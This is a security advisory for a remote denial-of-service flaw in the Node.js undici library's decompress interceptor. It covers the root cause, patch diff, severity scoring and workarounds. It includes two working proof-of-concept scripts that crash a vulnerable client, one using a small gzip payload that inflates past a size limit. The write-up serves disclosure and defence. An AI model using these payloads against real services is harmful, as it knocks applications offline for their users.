CVE-2026-87029: Remote Denial of Service via Uncaught Exception in Node.js Undici Decompress Interceptor

undici is the foundational HTTP/1.1 client library written from scratch for Node.js, powering both standalone high-throughput HTTP requests and the built-in fetch() implementation in the Node.js runtime. To support modular request and response processing, undici provides an interceptor pipeline architecture. Interceptors wrap request dispatchers and response handlers to implement cross-cutting capabilities such as automatic redirection, caching, response body dumping, and transparent content decompression.

In undici versions 7.15.0 through 7.30.0 and 8.0.0 through 8.12.1, the decompress interceptor (lib/interceptor/decompress.js) contains an uncaught exception vulnerability classified under CWE-248 (Uncaught Exception). When an HTTP response includes a Content-Encoding header (gzip, deflate, br, or zstd), DecompressHandler initializes a corresponding Node.js zlib stream to decompress the incoming byte stream before passing the resulting chunks to subsequent handlers in the interceptor chain.

While undici's core HTTP parsing engine wraps synchronous response handler callbacks in error-handling boundaries that convert thrown exceptions into isolated per-request failures, DecompressHandler invokes downstream handlers from inside asynchronous zlib stream event callbacks. Because these asynchronous invocations lack try...catch boundaries, any exception thrown by a downstream handler escapes directly to the Node.js event loop.

This architectural oversight creates an attack surface whenever a client composes the decompress interceptor with a downstream handler designed to throw exceptions upon encountering invalid states or boundary violations. Most notably, composing decompress with undici's built-in interceptors.dump({ maxSize }) allows a remote HTTP server to terminate the client's Node.js process by sending a small compressed payload that inflates past maxSize.

To understand the root cause of CVE-2026-87029, it is necessary to examine undici's interceptor contract and how DecoratorHandler subclasses interact with the core request lifecycle. In undici, response processing is driven by a state machine that invokes lifecycle methods on a handler object: onRequestStart, onResponseStart, onResponseData, onResponseTrailers, onResponseEnd, and onError. Interceptors extend DecoratorHandler to intercept these calls, perform transformation or validation, and delegate execution to the next handler via super.<method>().

In a standard synchronous pipeline without decompression, the core socket parser invokes handler.onResponseData(controller, chunk) directly within an execution frame guarded by undici's internal error convergence logic. If a downstream handler throws a synchronous exception—for example, interceptors.dump({ maxSize }) throwing an AbortError or RequestAbortedError when the accumulated byte count exceeds maxSize—the outer engine catches the exception, aborts the active transport, and transitions the request to an error state via onError.

The decompress interceptor breaks this synchronous call stack by introducing an asynchronous stream boundary. When DecompressHandler receives compressed chunks via its own onResponseData method, it writes them into a Node.js zlib decompression stream. The decompressed output is not returned synchronously; instead, zlib processes the data on worker threads or internal buffers and emits decompressed chunks asynchronously via stream callbacks (data events, drain loops, and end events).

Within DecompressHandler, the internal drain and completion methods invoke super.onResponseData(this.#controller, chunk) and super.onResponseEnd(this.#controller, this.#trailers) directly from these asynchronous zlib callbacks. Because the original synchronous stack frame that initiated the socket read has already unwound, undici's outer try...catch block is no longer on the call stack. Without a local try...catch block inside DecompressHandler, any exception thrown by super.onResponseData or super.onResponseEnd propagates unhandled to the top of the zlib callback stack, triggering an uncaughtException event that crashes the Node.js runtime.

The vulnerability is located in lib/interceptor/decompress.js within the DecompressHandler class. Specifically, two execution paths lacked exception handling boundaries: the chunk drainage loop that forwards decompressed data (super.onResponseData) and the decompression completion handler (super.onResponseEnd).

In the vulnerable implementation, as decompressed buffers are drained from the internal queue, DecompressHandler updates this.#decompressedSize and immediately calls super.onResponseData(this.#controller, chunk). Similarly, when decompression finishes without stream errors, #onDecompressionEnd cleans up the decompressor instances and calls super.onResponseEnd(this.#controller, this.#trailers).

The official patch, committed in f851f315db1f2acce0ea668f88d9d0fa61c8420c (v8 branch) and cherry-picked to 63cba7712ca012b2603c6aeeb4c72d8692332cd0 (v7 branch), resolves the issue by enclosing both downstream delegations in try...catch blocks and routing caught exceptions to this.#fail(err):

--- a/lib/interceptor/decompress.js
+++ b/lib/interceptor/decompress.js
@@ -223,9 +223,14 @@ class DecompressHandler extends DecoratorHandler {
             this.#decompressedSize = decompressedSize
           }
 
-          const result = super.onResponseData(this.#controller, chunk)
-          if (result === false && !this.#controller.paused) {
-            this.#controller.pause()
+          // Wrap downstream data forwarding in try/catch to trap synchronous throws
+          // originating inside asynchronous zlib decompression callbacks.
+          try {
+            const result = super.onResponseData(this.#controller, chunk)
+            if (result === false && !this.#controller.paused) {
+              this.#controller.pause()
+            }
+          } catch (err) {
+            this.#fail(err)
+            return
           }
         }
       } while (this.#drainRequested && !this.#terminated && !this.#controller.paused)
@@ -242,9 +247,14 @@ class DecompressHandler extends DecoratorHandler {
       return
     }
 
-    this.#terminated = true
     this.#cleanupDecompressors()
-    super.onResponseEnd(this.#controller, this.#trailers)
+    // Wrap downstream completion callback to catch validation or state errors
+    // thrown at the end of the response lifecycle.
+    try {
+      super.onResponseEnd(this.#controller, this.#trailers)
+    } catch (err) {
+      this.#fail(err)
+      return
+    }
+    this.#terminated = true
   }
 
   #onDecompressionEnd () {

Notice also the subtle ordering change in the second hunk: this.#terminated = true was moved after the try...catch block around super.onResponseEnd(). In DecompressHandler, the #fail(err) helper checks if (this.#terminated) return before cleaning up resources and forwarding the error via this.#controller.abort(err) or super.onError(err). Had this.#terminated = true remained prior to super.onResponseEnd(), calling this.#fail(err) inside the catch block would have exited early, swallowing the exception and leaving the downstream request promise hanging indefinitely.

Fix Completeness Assessment

The fix is complete and directly addresses the root cause across all supported compression algorithms (gzip, deflate, brotli, and zstd) because all decompressor streams funnel through the same #drain and #onDecompressionEnd methods in DecompressHandler. By delegating caught errors to this.#fail(err) prior to setting this.#terminated = true, the patch restores undici's error-convergence invariant across the asynchronous stream boundary.

Exploiting CVE-2026-87029 requires a client application using a vulnerable version of undici (7.15.0–7.30.0 or 8.0.0–8.12.1) to communicate with an untrusted or compromised HTTP server, or to fetch attacker-controlled URLs (such as in webhook processors, web scrapers, or SSRF-exposed microservices). The client must configure its dispatcher pipeline to compose the decompress interceptor alongside a downstream interceptor or custom DecoratorHandler that throws an exception during onResponseData or onResponseEnd.

A notable aspect of this vulnerability is its asymmetric payload amplification via compression. When a developer configures interceptors.dump({ maxSize: 1024 }), the intent is to protect the client from memory exhaustion by aborting responses larger than 1 KB. However, when placed downstream of createDecompressInterceptor(), the dump interceptor measures the decompressed byte size rather than the compressed wire size. An attacker can send a highly compressible buffer—such as 2 MB of repeated 0x41 ('A') bytes compressed with gzip into approximately 2 KB on the wire—bypassing upstream network size limits while effortlessly exceeding maxSize upon decompression.

Proof of Concept 1: Process Crash via onResponseData (dump Interceptor)

The following reproduction script, derived from the upstream regression test suite in test/interceptors/decompress.js, demonstrates how a compressed response exceeding maxSize crashes the client process:

const { createServer } = require('node:http')
const { gzipSync } = require('node:zlib')
const { Client, interceptors } = require('undici')
const createDecompressInterceptor = require('undici/lib/interceptor/decompress')
 
// 1. Attacker-controlled HTTP server returning a highly compressed payload
const server = createServer({ joinDuplicateHeaders: true }, (_req, res) => {
  // 2 MB of 0x41 compresses to a tiny wire payload (~2 KB)
  const body = gzipSync(Buffer.alloc(2 * 1024 * 1024, 0x41))
  res.writeHead(200, {
    'Content-Type': 'application/octet-stream',
    'Content-Encoding': 'gzip'
  })
  res.end(body)
})
 
server.listen(0, async () => {
  const port = server.address().port
 
  // 2. Vulnerable client pipeline composing decompress + dump({ maxSize })
  const client = new Client(`http://localhost:${port}`).compose(
    createDecompressInterceptor(),
    interceptors.dump({ maxSize: 1024 })
  )
 
  try {
    const response = await client.request({
      method: 'GET',
      path: '/'
    })
 
    // On vulnerable versions: throws inside zlib callback -> uncaughtException -> CRASH
    // On patched versions: cleanly rejects with AbortError
    await response.body.text()
  } catch (err) {
    console.log('Safely caught per-request error:', err.name)
  } finally {
    await client.close()
    server.close()
  }
})

Proof of Concept 2: Process Crash via onResponseEnd Custom Handler

A second attack vector exists when a downstream handler performs full-payload validation or trailer inspection in onResponseEnd and throws upon validation failure:

const { createServer } = require('node:http')
const { gzipSync } = require('node:zlib')
const { Client, DecoratorHandler } = require('undici')
const createDecompressInterceptor = require('undici/lib/interceptor/decompress')
 
const server = createServer((_req, res) => {
  res.writeHead(200, { 'Content-Encoding': 'gzip' })
  res.end(gzipSync(Buffer.from('untrusted response payload')))
})
 
server.listen(0, async () => {
  const port = server.address().port
 
  class CustomValidationHandler extends DecoratorHandler {
    onResponseEnd () {
      throw new Error('downstream onResponseEnd validation failed')
    }
  }
 
  const client = new Client(`http://localhost:${port}`).compose(
    createDecompressInterceptor(),
    (dispatch) => (opts, handler) => dispatch(opts, new CustomValidationHandler(handler))
  )
 
  try {
    const response = await client.request({ method: 'GET', path: '/' })
    await response.body.text()
  } catch (err) {
    console.log('Safely caught per-request error:', err.message)
  } finally {
    await client.close()
    server.close()
  }
})

The primary impact of CVE-2026-87029 is a high-severity loss of Availability (Denial of Service) for the affected Node.js client application. Because Node.js executes JavaScript on a single-threaded event loop, an unhandled exception escaping an asynchronous zlib callback immediately terminates the operating system process unless a global process.on('uncaughtException') handler is registered. In multi-tenant backend services, API gateways, or SSRF-capable proxy workers that use undici to fetch external resources, a single malicious HTTP response tears down the entire worker process, dropping all concurrent in-flight requests handled by that instance.

The vulnerability is assigned a CVSS v3.1 Base Score of 5.9 (Medium) with the vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H:

• Attack Vector (AV:N): Exploitable remotely over the network by any HTTP server to which the undici client connects.
• Attack Complexity (AC:H): Exploitation depends on non-default client configuration; specifically, the application must explicitly compose the decompress interceptor with a throwing downstream handler such as interceptors.dump({ maxSize }).
• Privileges Required (PR:N) & User Interaction (UI:N): No authentication or manual interaction is required once the client initiates an HTTP request to the target server.
• Confidentiality (C:N) & Integrity (I:N): The flaw does not permit memory disclosure, cross-request data leakage, or unauthorized data modification.
• Availability (A:H): Complete termination of the Node.js process.

From a threat intelligence perspective, CVE-2026-87029 carries an EPSS score of 0.00260 (0.26%), placing it in the 17.67th percentile. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no weaponized exploits in the wild have been observed.

The OpenJS Foundation and the undici maintainers resolved CVE-2026-87029 in versions 7.30.1 (for the 7.x release line) and 8.12.2 (for the 8.x release line). All users and downstream framework maintainers depending on undici should upgrade to these patched releases or later.

# For applications tracking the 8.x release line
npm install undici@^8.12.2
 
# For applications tracking the 7.x release line
npm install undici@^7.30.1

> [!NOTE] > If undici is consumed transitively via another library or bundled inside a custom container image, inspect your dependency tree using npm ls undici and apply overrides in package.json if necessary to force resolution to >=7.30.1 <8.0.0 or >=8.12.2.

Workarounds

For environments where an immediate package upgrade cannot be deployed, apply the following architectural mitigations:

1. Decouple decompress from Throwing Interceptors: Remove createDecompressInterceptor() from dispatcher pipelines that also include interceptors.dump({ maxSize }) or custom DecoratorHandler implementations that throw synchronous exceptions inside onResponseData or onResponseEnd.
2. Enforce Size Limits at the Consumer Stream Layer: Instead of relying on interceptors.dump({ maxSize }) inside the interceptor pipeline, consume the response body stream iteratively at the application layer and abort the request using a standard AbortController when the byte budget is exceeded.
3. Catch Exceptions Inside Custom Handlers: If your application implements custom DecoratorHandler subclasses downstream of decompress, wrap custom logic inside onResponseData and onResponseEnd in a try...catch block and invoke controller.abort(err) directly rather than throwing.